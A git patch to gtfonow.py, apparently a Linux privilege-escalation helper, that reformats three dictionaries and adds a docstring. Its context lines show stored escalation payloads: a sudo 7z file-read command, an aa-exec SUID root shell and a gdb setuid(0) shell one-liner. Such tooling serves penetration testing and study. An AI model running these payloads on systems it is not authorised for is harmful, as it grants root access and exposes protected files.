From 71b020d33292b1f09d6ba88520e9e6a4cfb9d24b Mon Sep 17 00:00:00 2001 From: frissi0n Date: Sun, 3 Dec 2023 09:11:27 +0000 Subject: [PATCH] Add docstring to function, (and test workflow trigger) --- gtfonow/gtfonow.py | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) diff --git a/gtfonow/gtfonow.py b/gtfonow/gtfonow.py index 6fc8a5d..3a5bc39 100644 --- a/gtfonow/gtfonow.py +++ b/gtfonow/gtfonow.py @@ -19,7 +19,7 @@ import select # SUDO_BINS_START -sudo_bins={ +sudo_bins = { "7z": [ "LFILE=file_to_read\nsudo 7z a -ttar -an -so $LFILE | 7z e -ttar -si -so\n" ], @@ -1170,7 +1170,7 @@ # SUDO_BINS_END # SUID_BINS_START -suid_bins={ +suid_bins = { "aa-exec": [ "./aa-exec /bin/sh -p" ], @@ -1811,7 +1811,7 @@ # SUID_BINS_END # CAPABILITIES_START -capabilities={ +capabilities = { "gdb": [ "./gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit" ], @@ -2591,6 +2591,11 @@ def parse_arguments(): def get_sudo_password(): + """Securely gets the sudo password from the user. + + Returns: + str: sudo password. + """ print("Enter sudo password:") return getpass.getpass("> ")